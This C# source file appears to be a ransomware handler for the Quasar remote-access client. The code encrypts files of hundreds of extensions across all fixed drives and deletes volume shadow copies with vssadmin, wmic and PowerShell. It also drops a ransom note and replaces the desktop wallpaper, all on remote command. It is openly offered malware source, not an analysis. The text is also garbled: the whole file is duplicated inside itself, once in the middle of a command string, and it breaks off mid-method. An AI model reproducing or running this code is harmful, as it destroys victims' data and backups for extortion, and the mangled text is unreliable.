using Quasar.Client.Ransomware;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class RansomwareHandler : IMessageProcessor
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni);

        private const uint SPI_SETDESKWALLPAPER = 0x0014;
        private const uint SPIF_UPDATEINIFILE = 0x01;
        private const uint SPIF_SENDCHANGE = 0x02;

        // Target extensions for encryption
        private static readonly string[] TargetExtensions = new[]
        {
            // Documents
            ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp",
            ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf",
            ".yaml", ".yml", ".toml", ".md", ".markdown",
            // Images
            ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico",
            ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps",
            ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm",
            // Videos
            ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg",
            ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx",
            // Audio
            ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus",
            ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka",
            // Archives
            ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg",
            ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa",
            // Databases
            ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db",
            ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb",
            // Code & Development
            ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs",
            ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp",
            ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp",
            ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj",
            ".vcxproj", ".xcodeproj", ".pbxproj",
            // 3D & CAD
            ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf",
            ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc",
            // Email & Communication
            ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics",
            // Office & Productivity
            ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps",
            // Backup & Virtual
            ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf",
            // Certificates & Keys
            ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg",
            ".asc", ".sig", ".pgp", ".kdb", ".kdbx",
            // Financial & Business
            ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif",
            // Game Files
            ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa",
            ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc",
            // Fonts
            ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt",
            // eBooks
            ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc",
            // Other Important
            ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env"
        };

        public bool CanExecute(IMessage message) => message is DoRansomware;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoRansomware ransomware:
                    Execute(sender, ransomware);
                    break;
            }
        }

        private void Execute(ISender sender, DoRansomware ransomware)
        {
            new Thread(() =>
            {
                try
                {
                    if (ransomware.Action == "ENCRYPT")
                    {
                        PerformEncryption(sender, ransomware);
                    }
                    else if (ransomware.Action == "DECRYPT")
                    {
                        PerformDecryption(sender, ransomware);
                    }
                }
                catch (Exception ex)
                {
                    sender.Send(new RansomwareResponse
                    {
                        Status = "ERROR",
                        Message = ex.Message,
                        IsComplete = true
                    });
                }
            }).Start();
        }
        private void WipeVolumeShadowCopies(ISender sender)
        {
            try
            {
                sender.Send(new RansomwareResponse
                {
                    Status = "PROGRESS",
                    Message = "Deleting volume shadow copies...",
                    IsComplete = false
                });

                // Method 1: vssadmin delete shadows /all /quiet
                try
                {
                    ProcessStartInfo psi = new ProcessStartInfo
                    {
                        FileName = "vssadmin.exe",
                        Arguments = "delete shadows /all /quiet",
                        CreateNoWindow = true,
                        UseShellExecute = false,
                        WindowStyle = ProcessWindowStyle.Hidden
                    };
                    Process.Start(psi)?.WaitForExit(10000);
                }
                catch { }

                // Method 2: wmic shadowcopy delete
                try
                {
                    ProcessStartInfo psi = new ProcessStartInfo
                    {
                        FileName = "wmic.exe",
                        Arguments = "shadowcopy delete",
                        CreateNoWindow = true,
                        UseShellExecute = false,
                        WindowStyle = ProcessWindowStyle.Hidden
                    };
                    Process.Start(psi)?.WaitForExit(10000);
                }
                catch { }

                // Method 3: PowerShell Get-WmiObject Win32_ShadowCopy | ForEach-Object {using Quasar.Client.Ransomware;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class RansomwareHandler : IMessageProcessor
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni);

        private const uint SPI_SETDESKWALLPAPER = 0x0014;
        private const uint SPIF_UPDATEINIFILE = 0x01;
        private const uint SPIF_SENDCHANGE = 0x02;

        // Target extensions for encryption
        private static readonly string[] TargetExtensions = new[]
        {
            // Documents
            ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp",
            ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf",
            ".yaml", ".yml", ".toml", ".md", ".markdown",
            // Images
            ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico",
            ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps",
            ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm",
            // Videos
            ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg",
            ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx",
            // Audio
            ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus",
            ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka",
            // Archives
            ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg",
            ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa",
            // Databases
            ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db",
            ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb",
            // Code & Development
            ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs",
            ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp",
            ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp",
            ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj",
            ".vcxproj", ".xcodeproj", ".pbxproj",
            // 3D & CAD
            ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf",
            ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc",
            // Email & Communication
            ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics",
            // Office & Productivity
            ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps",
            // Backup & Virtual
            ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf",
            // Certificates & Keys
            ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg",
            ".asc", ".sig", ".pgp", ".kdb", ".kdbx",
            // Financial & Business
            ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif",
            // Game Files
            ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa",
            ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc",
            // Fonts
            ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt",
            // eBooks
            ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc",
            // Other Important
            ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env"
        };

        public bool CanExecute(IMessage message) => message is DoRansomware;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoRansomware ransomware:
                    Execute(sender, ransomware);
                    break;
            }
        }

        private void Execute(ISender sender, DoRansomware ransomware)
        {
            new Thread(() =>
            {
                try
                {
                    if (ransomware.Action == "ENCRYPT")
                    {
                        PerformEncryption(sender, ransomware);
                    }
                    else if (ransomware.Action == "DECRYPT")
                    {
                        PerformDecryption(sender, ransomware);
                    }
                }
                catch (Exception ex)
                {
                    sender.Send(new RansomwareResponse
                    {
                        Status = "ERROR",
                        Message = ex.Message,
                        IsComplete = true
                    });
                }
            }).Start();
        }

        private void PerformEncryption(ISender sender, DoRansomware ransomware)
        {
            int filesProcessed = 0;

            sender.Send(new RansomwareResponse
            {
                Status = "STARTED",
                Message = "Starting encryption...",
                FilesProcessed = 0,
                IsComplete = false
            });

            // Wipe volume shadow copies if requested
            if (ransomware.WipeVolumeShadowCopies)
            {
                WipeVolumeShadowCopies(sender);
            }

            // Get all user-accessible drives
            DriveInfo[] drives = DriveInfo.GetDrives();
            
            foreach (DriveInfo drive in drives)
            {
                try
                {
                    // Only target fixed drives (not CD-ROM, network, etc.)
                    if (drive.DriveType != DriveType.Fixed || !drive.IsReady)
                        continue;

                    // Skip if it's the system drive root (to avoid Windows folder)
                    string drivePath = drive.RootDirectory.FullName;
                    
                    // Scan the entire drive but exclude Windows system folders
                    filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed);
                }
                catch { }
            }

            // Drop ransom note
            if (!string.IsNullOrEmpty(ransomware.RansomNote))
            {
                try
                {
                    string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                    File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote);
                }
                catch { }
            }

            // Change wallpaper
            if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText))
            {
                try
                {
                    ChangeWallpaper(ransomware.WallpaperText);
                }
                catch { }
            }

            sender.Send(new RansomwareResponse
            {
                Status = "COMPLETED",
                Message = $"Encryption completed. {filesProcessed} files encrypted.",
                FilesProcessed = filesProcessed,
                IsComplete = true
            });
        }

        private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount)
        {
            int filesProcessed = 0;

            try
            {
                string lowerDir = directory.ToLower();

                // Only skip Windows system folder itself, not Program Files or ProgramData
                if (lowerDir.Contains("\\windows\\") ||
                    lowerDir.Contains("\\$recycle.bin") ||
                    lowerDir.Contains("\\system volume information") ||
                    lowerDir.EndsWith("\\windows"))
                {
                    return 0;
                }

                // Get files in current directory
                var files = Directory.GetFiles(directory)
                    .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower()))
                    .ToList();

                foreach (string file in files)
                {
                    try
                    {
                        FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension);
                        filesProcessed++;

                        if ((currentCount + filesProcessed) % 50 == 0)
                        {
                            sender.Send(new RansomwareResponse
                            {
                                Status = "ENCRYPTING",
                                Message = $"Encrypted {currentCount + filesProcessed} files...",
                                FilesProcessed = currentCount + filesProcessed,
                                IsComplete = false
                            });
                        }
                    }
                    catch { }
                }

                // Recursively process subdirectories
                var subdirs = Directory.GetDirectories(directory);
                foreach (string subdir in subdirs)
                {
                    filesProcessed += EncryptDirectory(sender, subdir, ransomware, currentCount + filesProcessed);
                }
            }
            catch { }

            return filesProcessed;
        }

        private void PerformDecryption(ISender sender, DoRansomware ransomware)
        {
            int filesProcessed = 0;
            int filesFailed = 0;

            sender.Send(new RansomwareResponse
            {
                Status = "STARTED",
                Message = "Starting decryption...",
                FilesProcessed = 0,
                IsComplete = false
            });

            // Get all user-accessible drives
            DriveInfo[] drives = DriveInfo.GetDrives();

            foreach (DriveInfo drive in drives)
            {
                try
                {
                    if (drive.DriveType != DriveType.Fixed || !drive.IsReady)
                        continue;

                    string drivePath = drive.RootDirectory.FullName;
                    var result = DecryptDirectory(sender, drivePath, ransomware, filesProcessed, filesFailed);
                    filesProcessed = result.Item1;
                    filesFailed = result.Item2;
                }
                catch { }
            }

            string message = $"Decryption completed. {filesProcessed} files decrypted.";
            if (filesFailed > 0)
                message += $" {filesFailed} files failed (wrong key or corrupted).";

            sender.Send(new RansomwareResponse
            {
                Status = "COMPLETED",
                Message = message,
                FilesProcessed = filesProcessed,
                IsComplete = true
            });
        }

        private Tuple<int, int> DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount, int currentFailed)
        {
            int filesProcessed = currentCount;
            int filesFailed = currentFailed;

            try
            {
                string lowerDir = directory.ToLower();

                // Only skip Windows system folder itself, not Program Files or ProgramData
                if (lowerDir.Contains("\\windows\\") ||
                    lowerDir.Contains("\\$recycle.bin") ||
                    lowerDir.Contains("\\system volume information") ||
                    lowerDir.EndsWith("\\windows"))
                {
                    return Tuple.Create(filesProcessed, filesFailed);
                }

                var files = Directory.GetFiles(directory, "*" + ransomware.FileExtension).ToList();

                foreach (string file in files)
                {
                    try
                    {
                        bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension);
                        
                        if (success)
                            filesProcessed++;
                        else
                            filesFailed++;

                        if ((filesProcessed + filesFailed) % 50 == 0)
                        {
                            sender.Send(new RansomwareResponse
                            {
                                Status = "DECRYPTING",
                                Message = $"Decrypted {filesProcessed} files... ({filesFailed} failed)",
                                FilesProcessed = filesProcessed,
                                IsComplete = false
                            });
                        }
                    }
                    catch
                    {
                        filesFailed++;
                    }
                }

                // Recursively process subdirectories
                var subdirs = Directory.GetDirectories(directory);
                foreach (string subdir in subdirs)
                {
                    var result = DecryptDirectory(sender, subdir, ransomware, filesProcessed, filesFailed);
                    filesProcessed = result.Item1;
                    filesFailed = result.Item2;
                }
            }
            catch { }

            return Tuple.Create(filesProcessed, filesFailed);
        }

        private void ChangeWallpaper(string text)
        {
            try
            {
                string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp");
                
                // Create a simple bitmap with text
                using (var bmp = new System.Drawing.Bitmap(1920, 1080))
                using (var g = System.Drawing.Graphics.FromImage(bmp))
                {
                    g.Clear(System.Drawing.Color.Black);
                    using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold))
                    using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red))
                    {
                        var sf = new System.Drawing.StringFormat
                        {
                            Alignment = System.Drawing.StringAlignment.Center,
                            LineAlignment = System.Drawing.StringAlignment.Center
                        };
                        g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), sf);
                    }
                    bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp);
                }

                SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
            }
            catch { }
        }
    }
}
.Delete()}
                try
                {
                    ProcessStartInfo psi = new ProcessStartInfo
                    {
                        FileName = "powershell.exe",
                        Arguments = "-Command \"Get-WmiObject Win32_ShadowCopy | ForEach-Object {using Quasar.Client.Ransomware;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class RansomwareHandler : IMessageProcessor
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern int SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni);

        private const uint SPI_SETDESKWALLPAPER = 0x0014;
        private const uint SPIF_UPDATEINIFILE = 0x01;
        private const uint SPIF_SENDCHANGE = 0x02;

        // Target extensions for encryption
        private static readonly string[] TargetExtensions = new[]
        {
            // Documents
            ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".odt", ".ods", ".odp",
            ".rtf", ".tex", ".wpd", ".wps", ".csv", ".xml", ".json", ".log", ".ini", ".cfg", ".conf",
            ".yaml", ".yml", ".toml", ".md", ".markdown",
            // Images
            ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif", ".tiff", ".psd", ".ai", ".svg", ".ico",
            ".raw", ".cr2", ".nef", ".orf", ".sr2", ".dng", ".arw", ".rw2", ".rwl", ".crw", ".eps",
            ".webp", ".heic", ".heif", ".jfif", ".jp2", ".j2k", ".jpf", ".jpx", ".jpm",
            // Videos
            ".mp4", ".avi", ".mkv", ".mov", ".wmv", ".flv", ".webm", ".m4v", ".mpg", ".mpeg",
            ".3gp", ".3g2", ".f4v", ".swf", ".vob", ".ogv", ".m2ts", ".mts", ".ts", ".divx",
            // Audio
            ".mp3", ".wav", ".flac", ".aac", ".ogg", ".wma", ".m4a", ".aiff", ".ape", ".opus",
            ".mid", ".midi", ".amr", ".alac", ".dsd", ".dsf", ".dff", ".mka",
            // Archives
            ".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".iso", ".dmg", ".pkg",
            ".deb", ".rpm", ".cab", ".msi", ".jar", ".war", ".ear", ".apk", ".ipa",
            // Databases
            ".sql", ".db", ".dbf", ".mdb", ".accdb", ".sqlite", ".sqlite3", ".db3", ".s3db",
            ".sl3", ".frm", ".myd", ".myi", ".ibd", ".dbx", ".pdb",
            // Code & Development
            ".c", ".cpp", ".cs", ".java", ".py", ".php", ".js", ".html", ".css", ".rb", ".go", ".rs",
            ".swift", ".kt", ".scala", ".pl", ".sh", ".bat", ".ps1", ".vbs", ".asp", ".aspx", ".jsp",
            ".vue", ".tsx", ".jsx", ".ts", ".coffee", ".dart", ".lua", ".r", ".m", ".h", ".hpp",
            ".asm", ".s", ".pas", ".vb", ".vba", ".sql", ".gradle", ".maven", ".sln", ".csproj",
            ".vcxproj", ".xcodeproj", ".pbxproj",
            // 3D & CAD
            ".blend", ".obj", ".fbx", ".dae", ".3ds", ".max", ".c4d", ".mb", ".ma", ".dwg", ".dxf",
            ".skp", ".stl", ".ply", ".gltf", ".glb", ".usd", ".usda", ".usdc",
            // Email & Communication
            ".pst", ".ost", ".msg", ".eml", ".emlx", ".mbox", ".mbx", ".vcf", ".ics",
            // Office & Productivity
            ".vsd", ".vsdx", ".pub", ".one", ".onenote", ".mpp", ".xps", ".oxps",
            // Backup & Virtual
            ".bak", ".backup", ".old", ".tmp", ".vmdk", ".vdi", ".vhd", ".vhdx", ".ova", ".ovf",
            // Certificates & Keys
            ".cer", ".crt", ".der", ".p7b", ".p7c", ".p12", ".pfx", ".pem", ".key", ".pub", ".gpg",
            ".asc", ".sig", ".pgp", ".kdb", ".kdbx",
            // Financial & Business
            ".qbw", ".qbb", ".qbm", ".qbx", ".tax", ".ynab", ".ofx", ".qfx", ".qif",
            // Game Files
            ".sav", ".save", ".dat", ".pak", ".vpk", ".gcf", ".ncf", ".forge", ".ltx", ".bsa",
            ".unity3d", ".unitypackage", ".uasset", ".upk", ".rom", ".gba", ".nds", ".smc",
            // Fonts
            ".ttf", ".otf", ".woff", ".woff2", ".eot", ".fon", ".fnt",
            // eBooks
            ".epub", ".mobi", ".azw", ".azw3", ".fb2", ".lit", ".lrf", ".tcr", ".prc",
            // Other Important
            ".wallet", ".dat", ".config", ".settings", ".prefs", ".properties", ".env"
        };

        public bool CanExecute(IMessage message) => message is DoRansomware;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoRansomware ransomware:
                    Execute(sender, ransomware);
                    break;
            }
        }

        private void Execute(ISender sender, DoRansomware ransomware)
        {
            new Thread(() =>
            {
                try
                {
                    if (ransomware.Action == "ENCRYPT")
                    {
                        PerformEncryption(sender, ransomware);
                    }
                    else if (ransomware.Action == "DECRYPT")
                    {
                        PerformDecryption(sender, ransomware);
                    }
                }
                catch (Exception ex)
                {
                    sender.Send(new RansomwareResponse
                    {
                        Status = "ERROR",
                        Message = ex.Message,
                        IsComplete = true
                    });
                }
            }).Start();
        }

        private void PerformEncryption(ISender sender, DoRansomware ransomware)
        {
            int filesProcessed = 0;

            sender.Send(new RansomwareResponse
            {
                Status = "STARTED",
                Message = "Starting encryption...",
                FilesProcessed = 0,
                IsComplete = false
            });

            // Wipe volume shadow copies if requested
            if (ransomware.WipeVolumeShadowCopies)
            {
                WipeVolumeShadowCopies(sender);
            }

            // Get all user-accessible drives
            DriveInfo[] drives = DriveInfo.GetDrives();
            
            foreach (DriveInfo drive in drives)
            {
                try
                {
                    // Only target fixed drives (not CD-ROM, network, etc.)
                    if (drive.DriveType != DriveType.Fixed || !drive.IsReady)
                        continue;

                    // Skip if it's the system drive root (to avoid Windows folder)
                    string drivePath = drive.RootDirectory.FullName;
                    
                    // Scan the entire drive but exclude Windows system folders
                    filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed);
                }
                catch { }
            }

            // Drop ransom note
            if (!string.IsNullOrEmpty(ransomware.RansomNote))
            {
                try
                {
                    string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                    File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote);
                }
                catch { }
            }

            // Change wallpaper
            if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText))
            {
                try
                {
                    ChangeWallpaper(ransomware.WallpaperText);
                }
                catch { }
            }

            sender.Send(new RansomwareResponse
            {
                Status = "COMPLETED",
                Message = $"Encryption completed. {filesProcessed} files encrypted.",
                FilesProcessed = filesProcessed,
                IsComplete = true
            });
        }

        private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount)
        {
            int filesProcessed = 0;

            try
            {
                string lowerDir = directory.ToLower();

                // Only skip Windows system folder itself, not Program Files or ProgramData
                if (lowerDir.Contains("\\windows\\") ||
                    lowerDir.Contains("\\$recycle.bin") ||
                    lowerDir.Contains("\\system volume information") ||
                    lowerDir.EndsWith("\\windows"))
                {
                    return 0;
                }

                // Get files in current directory
                var files = Directory.GetFiles(directory)
                    .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower()))
                    .ToList();

                foreach (string file in files)
                {
                    try
                    {
                        FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension);
                        filesProcessed++;

                        if ((currentCount + filesProcessed) % 50 == 0)
                        {
                            sender.Send(new RansomwareResponse
                            {
                                Status = "ENCRYPTING",
                                Message = $"Encrypted {currentCount + filesProcessed} files...",
                                FilesProcessed = currentCount + filesProcessed,
                                IsComplete = false
                            });
                        }
                    }
                    catch { }
                }

                // Recursively process subdirectories
                var subdirs = Directory.GetDirectories(directory);
                foreach (string subdir in subdirs)
                {
                    filesProcessed += EncryptDirectory(sender, subdir, ransomware, currentCount + filesProcessed);
                }
            }
            catch { }

            return filesProcessed;
        }

        private void PerformDecryption(ISender sender, DoRansomware ransomware)
        {
            int filesProcessed = 0;
            int filesFailed = 0;

            sender.Send(new RansomwareResponse
            {
                Status = "STARTED",
                Message = "Starting decryption...",
                FilesProcessed = 0,
                IsComplete = false
            });

            // Get all user-accessible drives
            DriveInfo[] drives = DriveInfo.GetDrives();

            foreach (DriveInfo drive in drives)
            {
                try
                {
                    if (drive.DriveType != DriveType.Fixed || !drive.IsReady)
                        continue;

                    string drivePath = drive.RootDirectory.FullName;
                    var result = DecryptDirectory(sender, drivePath, ransomware, filesProcessed, filesFailed);
                    filesProcessed = result.Item1;
                    filesFailed = result.Item2;
                }
                catch { }
            }

            string message = $"Decryption completed. {filesProcessed} files decrypted.";
            if (filesFailed > 0)
                message += $" {filesFailed} files failed (wrong key or corrupted).";

            sender.Send(new RansomwareResponse
            {
                Status = "COMPLETED",
                Message = message,
                FilesProcessed = filesProcessed,
                IsComplete = true
            });
        }

        private Tuple<int, int> DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount, int currentFailed)
        {
            int filesProcessed = currentCount;
            int filesFailed = currentFailed;

            try
            {
                string lowerDir = directory.ToLower();

                // Only skip Windows system folder itself, not Program Files or ProgramData
                if (lowerDir.Contains("\\windows\\") ||
                    lowerDir.Contains("\\$recycle.bin") ||
                    lowerDir.Contains("\\system volume information") ||
                    lowerDir.EndsWith("\\windows"))
                {
                    return Tuple.Create(filesProcessed, filesFailed);
                }

                var files = Directory.GetFiles(directory, "*" + ransomware.FileExtension).ToList();

                foreach (string file in files)
                {
                    try
                    {
                        bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension);
                        
                        if (success)
                            filesProcessed++;
                        else
                            filesFailed++;

                        if ((filesProcessed + filesFailed) % 50 == 0)
                        {
                            sender.Send(new RansomwareResponse
                            {
                                Status = "DECRYPTING",
                                Message = $"Decrypted {filesProcessed} files... ({filesFailed} failed)",
                                FilesProcessed = filesProcessed,
                                IsComplete = false
                            });
                        }
                    }
                    catch
                    {
                        filesFailed++;
                    }
                }

                // Recursively process subdirectories
                var subdirs = Directory.GetDirectories(directory);
                foreach (string subdir in subdirs)
                {
                    var result = DecryptDirectory(sender, subdir, ransomware, filesProcessed, filesFailed);
                    filesProcessed = result.Item1;
                    filesFailed = result.Item2;
                }
            }
            catch { }

            return Tuple.Create(filesProcessed, filesFailed);
        }

        private void ChangeWallpaper(string text)
        {
            try
            {
                string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp");
                
                // Create a simple bitmap with text
                using (var bmp = new System.Drawing.Bitmap(1920, 1080))
                using (var g = System.Drawing.Graphics.FromImage(bmp))
                {
                    g.Clear(System.Drawing.Color.Black);
                    using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold))
                    using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red))
                    {
                        var sf = new System.Drawing.StringFormat
                        {
                            Alignment = System.Drawing.StringAlignment.Center,
                            LineAlignment = System.Drawing.StringAlignment.Center
                        };
                        g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), sf);
                    }
                    bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp);
                }

                SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
            }
            catch { }
        }
    }
}
.Delete()}\"",
                        CreateNoWindow = true,
                        UseShellExecute = false,
                        WindowStyle = ProcessWindowStyle.Hidden
                    };
                    Process.Start(psi)?.WaitForExit(15000);
                }
                catch { }

                sender.Send(new RansomwareResponse
                {
                    Status = "PROGRESS",
                    Message = "Volume shadow copies deleted.",
                    IsComplete = false
                });
            }
            catch (Exception ex)
            {
                sender.Send(new RansomwareResponse
                {
                    Status = "PROGRESS",
                    Message = $"Failed to delete volume shadow copies: {ex.Message}",
                    IsComplete = false
                });
            }
        }


        private void PerformEncryption(ISender sender, DoRansomware ransomware)
        {
            int filesProcessed = 0;

            sender.Send(new RansomwareResponse
            {
                Status = "STARTED",
                Message = "Starting encryption...",
                FilesProcessed = 0,
                IsComplete = false
            });

            // Wipe volume shadow copies if requested
            if (ransomware.WipeVolumeShadowCopies)
            {
                WipeVolumeShadowCopies(sender);
            }

            // Get all user-accessible drives
            DriveInfo[] drives = DriveInfo.GetDrives();
            
            foreach (DriveInfo drive in drives)
            {
                try
                {
                    // Only target fixed drives (not CD-ROM, network, etc.)
                    if (drive.DriveType != DriveType.Fixed || !drive.IsReady)
                        continue;

                    // Skip if it's the system drive root (to avoid Windows folder)
                    string drivePath = drive.RootDirectory.FullName;
                    
                    // Scan the entire drive but exclude Windows system folders
                    filesProcessed += EncryptDirectory(sender, drivePath, ransomware, filesProcessed);
                }
                catch { }
            }

            // Drop ransom note
            if (!string.IsNullOrEmpty(ransomware.RansomNote))
            {
                try
                {
                    string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
